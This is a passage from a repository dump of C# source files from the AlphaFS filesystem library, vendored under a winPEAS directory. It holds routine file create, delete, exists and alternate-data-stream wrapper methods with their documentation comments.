scope\")]\n      [SecurityCritical]\n      public static StreamWriter CreateText(string path, PathFormat pathFormat)\n      {\n         return CreateTextCore(null, path, NativeMethods.DefaultFileEncoding, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Creates or opens a file for writing <see cref=\"Encoding\"/> encoded text.</summary>\n      /// <param name=\"path\">The file to be opened for writing.</param>\n      /// <param name=\"encoding\">The encoding that is applied to the contents of the file.</param>\n      /// <returns>A StreamWriter that writes to the specified file using UTF-8 encoding.</returns>\n      [SuppressMessage(\"Microsoft.Reliability\", \"CA2000:Dispose objects before losing scope\")]\n      [SecurityCritical]\n      public static StreamWriter CreateText(string path, Encoding encoding)\n      {\n         return CreateTextCore(null, path, encoding, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Creates or opens a file for writing <see cref=\"Encoding\"/> encoded text.</summary>\n      /// <param name=\"path\">The file to be opened for writing.</param>\n      /// <param name=\"encoding\">The encoding that is applied to the contents of the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>A StreamWriter that writes to the specified file using UTF-8 encoding.</returns>\n      [SuppressMessage(\"Microsoft.Reliability\", \"CA2000:Dispose objects before losing scope\")]\n      [SecurityCritical]\n      public static StreamWriter CreateText(string path, Encoding encoding, PathFormat pathFormat)\n      {\n         return CreateTextCore(null, path, encoding, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.CreateTextTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Diagnostics.CodeAnalysis;\nusing System.Security;\nusing System.Text;\nusing StreamWriter = System.IO.StreamWriter;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Creates or opens a file for writing UTF-8 encoded text.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to be opened for writing.</param>\n      /// <returns>A StreamWriter that writes to the specified file using UTF-8 encoding.</returns>\n      [SuppressMessage(\"Microsoft.Reliability\", \"CA2000:Dispose objects before losing scope\")]\n      [SecurityCritical]\n      public static StreamWriter CreateTextTransacted(KernelTransaction transaction, string path)\n      {\n         return CreateTextCore(transaction, path, NativeMethods.DefaultFileEncoding, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Creates or opens a file for writing <see cref=\"Encoding\"/> encoded text.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to be opened for writing.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>A StreamWriter that writes to the specified file using UTF-8 encoding.</returns>\n      [SuppressMessage(\"Microsoft.Reliability\", \"CA2000:Dispose objects before losing scope\")]\n      [SecurityCritical]\n      public static StreamWriter CreateTextTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return CreateTextCore(transaction, path, NativeMethods.DefaultFileEncoding, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Creates or opens a file for writing <see cref=\"Encoding\"/> encoded text.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to be opened for writing.</param>\n      /// <param name=\"encoding\">The encoding that is applied to the contents of the file.</param>\n      /// <returns>A StreamWriter that writes to the specified file using UTF-8 encoding.</returns>\n      [SuppressMessage(\"Microsoft.Reliability\", \"CA2000:Dispose objects before losing scope\")]\n      [SecurityCritical]\n      public static StreamWriter CreateTextTransacted(KernelTransaction transaction, string path, Encoding encoding)\n      {\n         return CreateTextCore(transaction, path, encoding, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Creates or opens a file for writing <see cref=\"Encoding\"/> encoded text.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to be opened for writing.</param>\n      /// <param name=\"encoding\">The encoding that is applied to the contents of the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>A StreamWriter that writes to the specified file using UTF-8 encoding.</returns>\n      [SuppressMessage(\"Microsoft.Reliability\", \"CA2000:Dispose objects before losing scope\")]\n      [SecurityCritical]\n      public static StreamWriter CreateTextTransacted(KernelTransaction transaction, string path, Encoding encoding, PathFormat pathFormat)\n      {\n         return CreateTextCore(transaction, path, encoding, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.CreateTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.IO;\nusing System.Security;\nusing System.Security.AccessControl;\nusing FileStream = System.IO.FileStream;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Creates or overwrites a file in the specified path.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path and name of the file to create.</param>\n      /// <returns>A <see cref=\"FileStream\"/> that provides read/write access to the file specified in <paramref name=\"path\"/>.</returns>\n      [SecurityCritical]\n      public static FileStream CreateTransacted(KernelTransaction transaction, string path)\n      {\n         return CreateFileStreamCore(transaction, path, ExtendedFileAttributes.Normal, null, FileMode.Create, FileAccess.ReadWrite, FileShare.None, NativeMethods.DefaultFileBufferSize, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Creates or overwrites the specified file.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The name of the file.</param>\n      /// <param name=\"bufferSize\">The number of bytes buffered for reads and writes to the file.</param>\n      /// <returns>A <see cref=\"FileStream\"/> with the specified buffer size that provides read/write access to the file specified in <paramref name=\"path\"/>.</returns>\n      [SecurityCritical]\n      public static FileStream CreateTransacted(KernelTransaction transaction, string path, int bufferSize)\n      {\n         return CreateFileStreamCore(transaction, path, ExtendedFileAttributes.Normal, null, FileMode.Create, FileAccess.ReadWrite, FileShare.None, bufferSize, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Creates or overwrites the specified file, specifying a buffer size and a <see cref=\"FileOptions\"/> value that describes how to create or overwrite the file.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The name of the file.</param>\n      /// <param name=\"bufferSize\">The number of bytes buffered for reads and writes to the file.</param>\n      /// <param name=\"options\">One of the <see cref=\"FileOptions\"/> values that describes how to create or overwrite the file.</param>\n      /// <returns>A new file with the specified buffer size.</returns>\n      [SecurityCritical]\n      public static FileStream CreateTransacted(KernelTransaction transaction, string path, int bufferSize, FileOptions options)\n      {\n         return CreateFileStreamCore(transaction, path, (ExtendedFileAttributes) options, null, FileMode.Create, FileAccess.ReadWrite, FileShare.None, bufferSize, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Creates or overwrites the specified file, specifying a buffer size and a <see cref=\"FileOptions\"/> value that describes how to create or overwrite the file.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The name of the file.</param>\n      /// <param name=\"bufferSize\">The number of bytes buffered for reads and writes to the file.</param>\n      /// <param name=\"options\">One of the <see cref=\"FileOptions\"/> values that describes how to create or overwrite the file.</param>\n      /// <param name=\"fileSecurity\">One of the <see cref=\"FileSecurity\"/> values that determines the access control and audit security for the file.</param>\n      /// <returns>A new file with the specified buffer size, file options, and file security.</returns>\n      [SecurityCritical]\n      public static FileStream CreateTransacted(KernelTransaction transaction, string path, int bufferSize, FileOptions options, FileSecurity fileSecurity)\n      {\n         return CreateFileStreamCore(transaction, path, (ExtendedFileAttributes) options, fileSecurity, FileMode.Create, FileAccess.ReadWrite, FileShare.None, bufferSize, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Creates or overwrites a file in the specified path.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path and name of the file to create.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>A <see cref=\"FileStream\"/> that provides read/write access to the file specified in <paramref name=\"path\"/>.</returns>\n      [SecurityCritical]\n      public static FileStream CreateTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return CreateFileStreamCore(transaction, path, ExtendedFileAttributes.Normal, null, FileMode.Create, FileAccess.ReadWrite, FileShare.None, NativeMethods.DefaultFileBufferSize, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Creates or overwrites the specified file.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The name of the file.</param>\n      /// <param name=\"bufferSize\">The number of bytes buffered for reads and writes to the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>A <see cref=\"FileStream\"/> with the specified buffer size that provides read/write access to the file specified in <paramref name=\"path\"/>.</returns>\n      [SecurityCritical]\n      public static FileStream CreateTransacted(KernelTransaction transaction, string path, int bufferSize, PathFormat pathFormat)\n      {\n         return CreateFileStreamCore(transaction, path, ExtendedFileAttributes.Normal, null, FileMode.Create, FileAccess.ReadWrite, FileShare.None, bufferSize, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Creates or overwrites the specified file, specifying a buffer size and a <see cref=\"FileOptions\"/> value that describes how to create or overwrite the file.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The name of the file.</param>\n      /// <param name=\"bufferSize\">The number of bytes buffered for reads and writes to the file.</param>\n      /// <param name=\"options\">One of the <see cref=\"FileOptions\"/> values that describes how to create or overwrite the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>A new file with the specified buffer size.</returns>\n      [SecurityCritical]\n      public static FileStream CreateTransacted(KernelTransaction transaction, string path, int bufferSize, FileOptions options, PathFormat pathFormat)\n      {\n         return CreateFileStreamCore(transaction, path, (ExtendedFileAttributes) options, null, FileMode.Create, FileAccess.ReadWrite, FileShare.None, bufferSize, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Creates or overwrites the specified file, specifying a buffer size and a <see cref=\"FileOptions\"/> value that describes how to create or overwrite the file.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The name of the file.</param>\n      /// <param name=\"bufferSize\">The number of bytes buffered for reads and writes to the file.</param>\n      /// <param name=\"options\">One of the <see cref=\"FileOptions\"/> values that describes how to create or overwrite the file.</param>\n      /// <param name=\"fileSecurity\">One of the <see cref=\"FileSecurity\"/> values that determines the access control and audit security for the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>A new file with the specified buffer size, file options, and file security.</returns>\n      [SecurityCritical]\n      public static FileStream CreateTransacted(KernelTransaction transaction, string path, int bufferSize, FileOptions options, FileSecurity fileSecurity, PathFormat pathFormat)\n      {\n         return CreateFileStreamCore(transaction, path, (ExtendedFileAttributes) options, fileSecurity, FileMode.Create, FileAccess.ReadWrite, FileShare.None, bufferSize, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.Delete.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>Deletes the specified file.</summary>\n      /// <remarks>If the file to be deleted does not exist, no exception is thrown.</remarks>\n      /// <param name=\"path\">The name of the file to be deleted. Wildcard characters are not supported.</param>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"FileReadOnlyException\"/>\n      [SecurityCritical]\n      public static void Delete(string path)\n      {\n         DeleteFileCore(null, path, false, 0, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>Deletes the specified file.</summary>\n      /// <remarks>If the file to be deleted does not exist, no exception is thrown.</remarks>\n      /// <param name=\"path\">The name of the file to be deleted. Wildcard characters are not supported.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"FileReadOnlyException\"/>\n      [SecurityCritical]\n      public static void Delete(string path, PathFormat pathFormat)\n      {\n         DeleteFileCore(null, path, false, 0, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Deletes the specified file.</summary>\n      /// <remarks>If the file to be deleted does not exist, no exception is thrown.</remarks>\n      /// <param name=\"path\">The name of the file to be deleted. Wildcard characters are not supported.</param>\n      /// <param name=\"ignoreReadOnly\"><c>true</c> overrides the read only <see cref=\"FileAttributes\"/> of the file.</param>      \n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"FileReadOnlyException\"/>\n      [SecurityCritical]\n      public static void Delete(string path, bool ignoreReadOnly)\n      {\n         DeleteFileCore(null, path, ignoreReadOnly, 0, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Deletes the specified file.</summary>\n      /// <remarks>If the file to be deleted does not exist, no exception is thrown.</remarks>\n      /// <param name=\"path\">The name of the file to be deleted. Wildcard characters are not supported.</param>\n      /// <param name=\"ignoreReadOnly\"><c>true</c> overrides the read only <see cref=\"FileAttributes\"/> of the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"FileReadOnlyException\"/>\n      [SecurityCritical]\n      public static void Delete(string path, bool ignoreReadOnly, PathFormat pathFormat)\n      {\n         DeleteFileCore(null, path, ignoreReadOnly, 0, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.DeleteTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Deletes the specified file.</summary>\n      /// <remarks>If the file to be deleted does not exist, no exception is thrown.</remarks>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The name of the file to be deleted. Wildcard characters are not supported.</param>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"FileReadOnlyException\"/>\n      [SecurityCritical]\n      public static void DeleteTransacted(KernelTransaction transaction, string path)\n      {\n         DeleteFileCore(transaction, path, false, 0, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Deletes the specified file.</summary>\n      /// <remarks>If the file to be deleted does not exist, no exception is thrown.</remarks>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The name of the file to be deleted. Wildcard characters are not supported.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"FileReadOnlyException\"/>\n      [SecurityCritical]\n      public static void DeleteTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         DeleteFileCore(transaction, path, false, 0, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Deletes the specified file.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The name of the file to be deleted. Wildcard characters are not supported.</param>\n      /// <param name=\"ignoreReadOnly\"><c>true</c> overrides the read only <see cref=\"FileAttributes\"/> of the file.</param>\n      /// <remarks>If the file to be deleted does not exist, no exception is thrown.</remarks>      \n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"FileReadOnlyException\"/>\n      [SecurityCritical]\n      public static void DeleteTransacted(KernelTransaction transaction, string path, bool ignoreReadOnly)\n      {\n         DeleteFileCore(transaction, path, ignoreReadOnly, 0, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Deletes the specified file.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The name of the file to be deleted. Wildcard characters are not supported.</param>\n      /// <param name=\"ignoreReadOnly\"><c>true</c> overrides the read only <see cref=\"FileAttributes\"/> of the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <remarks>If the file to be deleted does not exist, no exception is thrown.</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"FileReadOnlyException\"/>\n      [SecurityCritical]\n      public static void DeleteTransacted(KernelTransaction transaction, string path, bool ignoreReadOnly, PathFormat pathFormat)\n      {\n         DeleteFileCore(transaction, path, ignoreReadOnly, 0, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.EnumerateAlternateDataStreams.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Collections.Generic;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Enumerates all altername datastreams of the specified file.</summary>\n      /// <param name=\"path\">The path to the file to enumerate streams of.</param>\n      /// <returns>An enumeration of <see cref=\"AlternateDataStreamInfo\"/> instances.</returns>\n      [SecurityCritical]\n      public static IEnumerable<AlternateDataStreamInfo> EnumerateAlternateDataStreams(string path)\n      {\n         return EnumerateAlternateDataStreamsCore(null, false, path, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Enumerates all altername datastreams of the specified file.</summary>\n      /// <param name=\"path\">The path to the file to enumerate streams of.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>An enumeration of <see cref=\"AlternateDataStreamInfo\"/> instances.</returns>\n      [SecurityCritical]\n      public static IEnumerable<AlternateDataStreamInfo> EnumerateAlternateDataStreams(string path, PathFormat pathFormat)\n      {\n         return EnumerateAlternateDataStreamsCore(null, false, path, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.EnumerateAlternateDataStreamsTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Collections.Generic;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Enumerates all altername datastreams of the specified file.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path to the file to enumerate streams of.</param>\n      /// <returns>An enumeration of <see cref=\"AlternateDataStreamInfo\"/> instances.</returns>\n      [SecurityCritical]\n      public static IEnumerable<AlternateDataStreamInfo> EnumerateAlternateDataStreamsTransacted(KernelTransaction transaction, string path)\n      {\n         return EnumerateAlternateDataStreamsCore(transaction, false, path, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Enumerates all altername datastreams of the specified file.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path to the file to enumerate streams of.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>An enumeration of <see cref=\"AlternateDataStreamInfo\"/> instances.</returns>\n      [SecurityCritical]\n      public static IEnumerable<AlternateDataStreamInfo> EnumerateAlternateDataStreamsTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return EnumerateAlternateDataStreamsCore(transaction, false, path, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.Exists.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>Determines whether the specified file exists.</summary>\n      /// <remarks>\n      ///   <para>MSDN: .NET 3.5+: Trailing spaces are removed from the end of the\n      ///   <paramref name=\"path\"/> parameter before checking whether the directory exists.</para>\n      ///   <para>The Exists method returns <c>false</c> if any error occurs while trying to\n      ///   determine if the specified file exists.</para>\n      ///   <para>This can occur in situations that raise exceptions such as passing a file name with\n      ///   invalid characters or too many characters, a failing or missing disk, or if the caller does not have permission to read the\n      ///   file.</para>\n      ///   <para>The Exists method should not be used for path validation,\n      ///   this method merely checks if the file specified in path exists.</para>\n      ///   <para>Passing an invalid path to Exists returns false.</para>\n      ///   <para>Be aware that another process can potentially do something with the file in\n      ///   between the time you call the Exists method and perform another operation on the file, such as Delete.</para>\n      /// </remarks>\n      /// <param name=\"path\">The file to check.</param>\n      /// <returns>\n      ///   Returns <c>true</c> if the caller has the required permissions and\n      ///   <paramref name=\"path\"/> contains the name of an existing file; otherwise,\n      ///   <c>false</c>\n      /// </returns>\n      [SecurityCritical]\n      public static bool Exists(string path)\n      {\n         return ExistsCore(null, false, path, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Determines whether the specified file exists.</summary>\n      /// <remarks>\n      ///   <para>MSDN: .NET 3.5+: Trailing spaces are removed from the end of the\n      ///   <paramref name=\"path\"/> parameter before checking whether the 